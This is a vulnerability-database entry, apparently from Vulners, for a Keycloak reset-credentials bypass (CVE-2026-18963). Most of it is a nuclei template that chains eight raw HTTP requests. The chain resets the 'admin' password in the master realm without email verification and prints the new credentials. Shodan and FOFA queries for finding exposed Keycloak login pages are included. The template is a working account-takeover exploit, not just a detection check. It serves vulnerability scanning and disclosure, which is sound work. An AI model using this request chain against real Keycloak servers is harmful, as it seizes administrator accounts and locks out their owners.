Lucene search
+L

Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass

🗓️ 24 Aug 2026 22:21:52Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 11 Views

Unauthenticated account takeover in Keycloak < 26.7.2 via reset-credentials bypass.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-18963
25 Aug 202602:28
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
24 Aug 202612:46
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
20 Aug 202622:01
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
24 Aug 202623:40
githubexploit
attackerkb
ATTACKERKB
CVE-2026-18963
18 Aug 202617:05
attackerkb
circl
Circl
CVE-2026-18963
18 Aug 202618:10
circl
cve
CVE
CVE-2026-18963
18 Aug 202617:05
cve
cvelist
Cvelist
CVE-2026-18963 Keycloak-services: keycloak-services: unauthenticated account takeover via reset-credentials flow bypass
18 Aug 202617:05
cvelist
euvd
EUVD
EUVD-2026-61063
18 Aug 202617:05
euvd
nessus
Tenable Nessus
Keycloak 26.4.x < 26.4.15 / 26.6.x < 26.6.6 Unauthenticated Account Takeover
20 Aug 202600:00
nessus
Rows per page
id: CVE-2026-18963

info:
  name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.
  impact: |
    An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.
  remediation: |
    Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    - https://github.com/keycloak/keycloak/pull/51844
    - https://github.com/keycloak/keycloak/issues/51833
    - https://github.com/T0w0T/POC-CVE-2026-18963
    - https://access.redhat.com/security/cve/cve-2026-18963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-18963
    cwe-id: CWE-640
  metadata:
    verified: true
    max-request: 8
    vendor: keycloak
    product: keycloak
    shodan-query: http.title:"Sign in to Keycloak" || http.title:"Log in to Keycloak"
    fofa-query: title="Sign in to Keycloak" || title="Log in to Keycloak"
  tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical

variables:
  username: admin
  realm: master
  new_password: "{{rand_text_alphanumeric(12)}}"

flow: |
  http("step-1");
  http("step-2");
  http("step-3");
  http("step-4");
  typeof restart_path !== "undefined" && restart_path !== "" && http("step-5");
  http("step-6");
  http("step-7");
  http("step-8");

http:
  - id: step-1
    raw:
      - |
        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: forgot_path
        internal: true
        part: body
        group: 1
        regex:
          - 'href="(/[^"]*reset-credentials[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-2
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: reset_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-reset-password-form"[^>]*action="https?://[^/]+(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-3
    raw:
      - |
        POST {{replace(reset_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tryAnotherWay=on

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: selector_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="https?://[^/]+(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-4
    raw:
      - |
        POST {{replace(selector_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: restart_path
        internal: true
        part: body
        group: 1
        regex:
          - "startSessionPolling\\(\\s*[\"']([^\"']+)[\"']"

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-5
    raw:
      - |
        GET {{restart_path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-6
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: stale_selector_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="https?://[^/]+(/[^"]*)"'

    matchers:
      - type: word
        words:
          - "kc-select-credential-form"
        part: body
        internal: true

  - id: step-7
    raw:
      - |
        POST {{replace(stale_selector_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

        username={{username}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: update_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-passwd-update-form"[^>]*action="https?://[^/]+(/[^"]*)"'

    matchers:
      - type: word
        words:
          - "kc-passwd-update-form"
        part: body
        internal: true

  - id: step-8
    raw:
      - |
        POST {{replace(update_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        password-new={{new_password}}&password-confirm={{new_password}}

    redirects: false

    matchers:
      - type: status
        status:
          - 302

    extractors:
      - type: dsl
        dsl:
          - '"username=" + username + " | password=" + new_password'
# digest: 490a004630440220169a56ff942e16711de0e7404acc5a604fa457aa97737c778878c0fd12c004f90220035cc1fc372825797e3d1b0a48ba8386930b17d9397903383c23bb944679f79d:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Aug 2026 21:57Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.1
EPSS0.0052
SSVC
11